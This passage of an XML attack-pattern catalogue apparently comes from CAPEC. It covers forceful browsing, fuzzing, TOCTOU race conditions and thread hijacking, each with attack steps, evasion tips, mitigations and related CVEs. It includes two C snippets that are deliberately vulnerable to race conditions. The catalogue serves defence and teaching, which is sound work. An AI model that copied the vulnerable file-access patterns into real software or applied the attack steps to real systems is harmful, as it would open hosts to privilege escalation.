					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Use unauthorized resources</Attack_Step_Title>
						<Attack_Step_Description>By visiting the unprotected resource, the attacker makes use of unauthorized functionality.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Access unprotected functions and execute them.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Security_Control ID="c87s4s1" type="Detective">Malformed log entries are a common side-effect of this kind of attack. E.g., "User xyz deleted by on 10/16/07." The "by on" indicates that no authorized user was recorded. (A good entry would say "user xyz deleted by admin on 10/16/07"). Monitoring of log file entries for correct and consistent output format can indicate this kind of attack succeeding.</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>View unauthorized data</Attack_Step_Title>
						<Attack_Step_Description>The attacker discovers and views unprotected sensitive data.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Direct request of protected pages that directly access database back-ends. (e.g., list.jsp, accounts.jsp, status.jsp, etc.)</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c87s5i1" type="Positive">
							<Indicator_Description>Dynamic pages (JSP, ASP, PHP, etc.) exist that divulge sensitive data without first checking authorization.</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The forcibly browsable pages or accessible resources must be discoverable and improperly protected.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Very High</Likelihood>
			<Explanation>A number of automated crawlers as well as other tools are available that generally perform a good job at looking for forcefully browsable pages</Explanation>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Brute Force</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>A bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group.

				An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform admnistrative functions without having to authenticate himself in that role.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: Forcibly browsable pages can be discovered by using a number of automated tools. Doing the same manually is tedious but by no means difficult</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>A directory listing is helpful but not a requirement. No special resources are required.</Resources_Required>
		<Probing_Techniques>
			<Probing_Technique>Following all the links recursively reveals resources that are available</Probing_Technique>
			<Probing_Technique>Having a directory listing also points to the available pages and resources in the application that may be forcibly browsable.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Authenticate request to every resource. In addition, every page or resource must ensure that the request it is handling has been made in an authorized context.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Forceful browsing can also be made difficult to a large extent by not hard-coding names of application pages or resources. This way, the attacker cannot figure out, from the application alone, the resources available from the present context.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>Forceful browsing is a consequence of improper access control. The application is designed with an assumption that resources are to be accessed in a certain sequence and that this sequence is immutable.
			
		Pages in an application can request the client's identity each time a request is made or can rely on a controller or filter to do it for them before passing on the request.

		Often times, however, when pages are modified or new pages are added to an application, the access control logic is not updated simultaneously. This opens up an avenue for attackers to bypass the authentication mechanism and access such pages directly.

		Another cause is multiple access routes to the same resource, not all of which are equally well protected.</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>425</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>285</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>693</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Vulnerabilities>
			<Related_Vulnerability>
				<Vulnerability_ID>CVE-2007-1156</Vulnerability_ID>
				<Vulnerability_Description>JBrowser allows remote attackers to bypass authentication and access certain administrative capabilities via a direct request for _admin/.</Vulnerability_Description>
			</Related_Vulnerability>
			<Related_Vulnerability>
				<Vulnerability_ID>CVE-2007-1062</Vulnerability_ID>
				<Vulnerability_Description>The Cisco Unified IP Conference Station 7935 3.2(15) and earlier, and Station 7936 3.3(12) and earlier does not properly handle administrator HTTP sessions, which allows remote attackers to bypass authentication controls via a direct URL request to the administrative HTTP interface for a limited time</Vulnerability_Description>
			</Related_Vulnerability>
		</Related_Vulnerabilities>
		<Related_Security_Principles>
			<Related_Security_Principle>Complete Mediation</Related_Security_Principle>
			<Related_Security_Principle>Reluctance To Trust</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Treat the Entire Inherited Process Context as Unvalidated Input</Related_Guideline>
			<Related_Guideline>Use Authentication Mechanisms, Where Appropriate, Correctly</Related_Guideline>
		</Related_Guidelines>
		<Source>
			<Submission>
				<Submitter>Chiradeep B. Chhaya</Submitter>
				<Submission_Date>2007-03-13</Submission_Date>
				<Submission_Comment>First Draft</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-16</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Paco Hope</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-20</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="28" Name="Fuzzing" Pattern_Abstraction="Standard">
		<Description>
			<Summary>Fuzzing is a software testing method that feeds randomly constructed input to the system and looks for an indication that a failure in response to that input has occured.  Fuzzing treats the system as a blackbox and is totally free from any preconceptions or assumptions about the system.  
				
			An attacker can leverage fuzzing to try to identify weaknesses in the system.  For instance fuzzing can help an attacker discover certain assumptions made in the system about user input.  Fuzzing gives an attacker a quick way of potentially uncovering some of these assumptions without really knowing anything about the internals of the system.  These assumptions can then be turned against the system by specially crafting user input that may allow an attacker to achieve his goals.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Observe communication and inputs</Attack_Step_Title>
						<Attack_Step_Description>The fuzzing attacker observes the target system looking for inputs and communications between modules, subsystems, or systems.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Network sniffing. Using a network sniffer such as wireshark, the attacker observes communications into and out of the target system.</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-Peer2Peer env-CommProtocol</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the attacker observes the system calls and API calls that are made by the target system, and the nature of their parameters.</Attack_Step_Technique_Description>
							<Environments>env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.)</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c28s1o1" type="Success">The attacker creates a list of unique communications packets, messages, inputs, API calls or other actions the software takes.</Outcome>
						<Security_Control ID="c28s1s1" type="Detective">Alert on promiscuous mode. Some network devices (switches, hubs) or monitoring stations (e.g., IDS) can detect and alert when a station in the network is passively eavesdropping.</Security_Control>
						<Security_Control ID="c28s1s2" type="Preventative">Some production hardware (for embedded environments) can have debugging disabled on the hardware.</Security_Control>
						<Security_Control ID="c28s1s3" type="Preventative">Techniques exist to insert no-ops and other null branches that thwart basic attempts to execute software stepwise in a debugger.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Generate fuzzed inputs</Attack_Step_Title>
						<Attack_Step_Description>Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80).</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system.</Attack_Step_Technique_Description>
							<Environments>env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Security_Control ID="c28s2s1" type="Detective">Log unexpected parameters to API calls or system calls.</Security_Control>
						<Security_Control ID="c28s2s2" type="Preventative">Profile the software's expected use of system calls. Use a sandboxing technique to restrict its API calls to the expected patterns.</Security_Control>
						<Security_Control ID="c28s2s3" type="Preventative">SSL or other link-layer encryption techniques (VPN, 802.11x, etc.) can impair simple observation and require a would-be attacker to work much harder to get information about the operation of the software..</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Observe the outcome</Attack_Step_Title>
						<Attack_Step_Description>Observe the outputs to the inputs fed into the system by fuzzers and see if anything interesting happens.  If failure occurs, determine why that happened.  Figure out the underlying assumption that was invalidated by the input.</Attack_Step_Description>
						<Indicator ID="c28s3i1" type="Positive">
							<Indicator_Description>The software produces an indicator that the attacker can see (error message, altered error state in a protocol, etc.).</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Indicator ID="c28s3i2" type="Positive">
							<Indicator_Description>The previous step led to plausible, practical fuzz inputs.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c28s3o1" type="Success">If the software's indicators (error messages, etc.) vary clearly based on the attacker's input, then the attacker has a sufficient starting point for customizing his attack.</Outcome>
						<Outcome ID="c28s3o2" type="Failure">The attacker is unable to induce unexpected failures or output based fuzzed inputs.</Outcome>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Craft exploit payloads</Attack_Step_Title>
						<Attack_Step_Description>Put specially crafted input into the system that leverages the weakness identified through fuzzing and allows to achieve the goals of the attacker.  Fuzzers often reveal ways to slip through the input validation filters and introduce unwanted data into the system.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Identify and embed shellcode for the target system.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Embed higher level attack commands in the payload. (e.g., SQL, PHP, server-side includes, etc.)</Attack_Step_Technique_Description>
							<Environments>env-Web env-CommProtocol env-Peer2Peer env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Induce denial of service by exploiting resource leaks or bad error handling.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Security_Control ID="c28s4s1" type="Detective">Monitor system logs and alert on unusual activity. Most shellcode and unusual activity appears in logs.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Typical_Severity>Medium</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>Brute Force</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>A fuzz test reveals that when data length for a particular field exceeds certain length, the input validation filter fails and lets the user data in unfiltered.  This provides an attacker with an injection vector to deliver the malicious payload into the system.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low:  There is a wide variety of fuzzing tools available.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Fuzzing tools.</Resources_Required>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>A lot of invalid data is fed to the system.  Data that cannot have been generated through a legitimate transaction/request.  Data is coming into the system within a short period of time and potentially from the same IP.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Obfuscation_Techniques>
			<Obfuscation_Technique>Take pauses between fuzzing attempts (may not be very practical).  Spoof IP addresses so that it does not look like all data is coming from the same source.</Obfuscation_Technique>
		</Obfuscation_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Test to ensure that the software behaves as per specification and that there are no unintended side effects.  Ensure that no
			assumptions about the validity of data are made.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use fuzz testing during the software QA process to uncover any surprises, uncover any assumptions or unexpected behavior.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>388</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>728</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Reconnaissance</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Medium</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>Medium</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<Source>
			<Submission>
				<Submitter>Eugene Lebanidze</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-26</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-01</Modification_Date>
				<Modification_Comment>Review and revision of content</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="29" Name="Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions" Pattern_Abstraction="Standard">
		<Description>
			<Summary>This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. The typical example is the file access. The attacker can leverage a file access race condition by "running the race", meaning that he would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the attacker could do something such as replace the file and cause an escalation of privilege.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The attacker explores to gauge what level of access he has.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker confirms access to a resource on the target host. The attacker confirms ability to modify the targeted resource.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker decides to leverage the race condition by "running the race", meaning that he would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the attacker can replace the resource and cause an escalation of privilege.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>A resource is access/modified concurrently by multiple processes.</Attack_Prerequisite>
			<Attack_Prerequisite>The attacker is able to modify resource.</Attack_Prerequisite>
			<Attack_Prerequisite>A race condition exists while accessing a resource.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Time and State</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2007-1057</Example-Instance_Related_Vulnerability>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name.

				include &lt;sys/types.h&gt;
				include &lt;fcntl.h&gt;
				include &lt;unistd.h&gt;
				
				define FILE    "/tmp/myfile"
				define UID      100
				
				void test(char *str)
				{
				        int fd;
				        fd = creat(FILE, 0644);
				        if(fd == -1)
				                return;
				        chown(FILE, UID, -1);      /* BAD */
				        close(fd);
				}
				
				int main(int argc, char **argv)
				{
				        char *userstr;
				        if(argc &gt; 1) {
				                userstr = argv[1];
				                test(userstr);
				        }
				        return 0;
				}
				
				//Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&amp;;tID=1598</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium/High: This attack can get sophisticated since the attack has to occur within a short interval of time.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>Vulnerability testing tool can be used to probe for race condition.</Probing_Technique>
			<Probing_Technique>The attacker may also look for temporary file creation. The attacker may try to replace them and take advantage of a race condition.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use safe libraries to access resources such as files.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use synchronization to control the flow of execution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use static analysis tools to find race conditions.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Pay attention to concurrency problems related to the access of resources.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>The window of time between when a file property is checked and when the file is used can be exploited to launch a privilege escalation attack.

		File access race conditions, known as time-of-check, time-of-use (TOCTOU) race conditions, occur when:
		
		   1. The program checks a property of a file, referencing the file by name.
		   2. The program later performs a filesystem operation using the same filename and assumes that the previously-checked property still holds.
		
		Example: The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable to the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations. 		
		
		     if(!access(file,W_OK)) {
		          f = fopen(file,"w+");
		          operate(f);
		          ...
		     }
		     else {
		          fprintf(stderr,"Unable to open file %s.\n",file);
		     }
		
		The call to access()behaves as expected, and returns 0if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges.
		
		This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.
		
		The window of vulnerability for such an attack is the period of time between when the property is tested and when the file is used. Even if the use immediately follows the check, modern operating systems offer no guarantee about the amount of code that will be executed before the process yields the CPU. Attackers have a variety of techniques for expanding the length of the window of opportunity in order to make exploits easier, but even with a small window, an exploit attempt can simply be repeated over and over until it is successful.</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>367</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>368</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>366</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>370</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>362</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>662</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>691</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>663</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>665</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>26</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>27</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Abstract</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Related_Security_Principles>
			<Related_Security_Principle>Least Privilege</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>J. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002.</Reference>
			<Reference>CWE - Input Validation</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Eric Dalci</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-25</Submission_Date>
				<Submission_Comment/>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-07</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name, Attack Flow, Attack Prerequisites and Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="30" Name="Hijacking a Privileged Thread of Execution" Pattern_Abstraction="Standard">
		<Description>
			<Summary>Attackers can sometimes hijack a privileged thread from the underlying system through synchronous (calling a privileged function that returns incorrectly) or asynchronous (callbacks, signal handlers, and similar) means. 
			Having done so, the Attacker may not only likely access functionality the system's designer didn't intend for them, but they may also go undetected or deny other users essential service in a catastrophic (or insidiously subtle) way.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>Attacker determines the underlying system thread that is subject to user-control</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Attacker then provides input, perhaps by way of environment variables for the process in question, that affect the executing thread</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Upon successful hijacking, the attacker enjoys elevated privileges, and can possibly have the hijacked thread do his bidding</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The application in question employs a threaded model of execution with the threads operating at, or having the ability to switch to, a higher privilege level than normal users</Attack_Prerequisite>
			<Attack_Prerequisite>In order to feasibly execute this class of attacks, the attacker must have the ability to hijack a privileged thread. 

			This ability includes, but is not limited to, modifying environment variables that affect the process the thread belongs to, or providing malformed user-controllable input that causes the executing thread to fault and return to a higher privilege level or such.

			This does not preclude network-based attacks, but makes them conceptually more difficult to identify and execute.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Low</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Attacker targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread. The Attacker could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>High: Hijacking a thread involves knowledge of how processes and threads function on the target platform, the design of the target application as well as the ability to identify the primitives to be used or manipulated to hijack the thread.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>The attacker needs to be able to latch onto a privileged thread. No special hardware or software tool-based resources are required. 

		The Attacker does, however, need to be able to program, compile, and link to the victim binaries being executed so that it will turn control of a privileged thread over to the Attacker's malacious code. This is the case even if the attacker conducts the attack remotely.</Resources_Required>
		<Probing_Techniques>
			<Probing_Technique>The attacker may attach a debugger to the executing process and observe the spawning and clean up of threads, as well as the switches in privilege levels</Probing_Technique>
			<Probing_Technique>The attacker can also observe the environment variables, if any, that affect executing threads and modify them in order to observe their effect on the execution.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Application Architects must be careful to design callback, signal, and similar asynchronous constructs such that they shed excess privilege prior to handing control to user-written (thus untrusted) code.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Application Architects must be careful to design privileged code blocks such that upon return (successful, failed, or unpredicted) that privilege is shed prior to leaving the block/scope.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>This pattern applies to circumstances in which the Attacker knows the victim API and can compile, link, and deploy code in which the victim's privileged threads will call malicious code. This, in most circumstances, will involve being 'in process' with the victim. The pattern does, however, apply in network-based circumstances in which remote object/callback interaction is allowed through RPC-like technologies. In either case (local or remote) the Attacker must be able to gain control of the thread through 'normal' means, which may require privilege-enough to register a call back, subscribe to a service, or similar.</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>270</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Relevant_Security_Requirements>
			<Relevant_Security_Requirement>Only those constructs within the application that cannot execute without elevated privileges must be granted additional privileges. Often times, the entire function or the entire process is granted privileges that are usually not necessary.</Relevant_Security_Requirement>
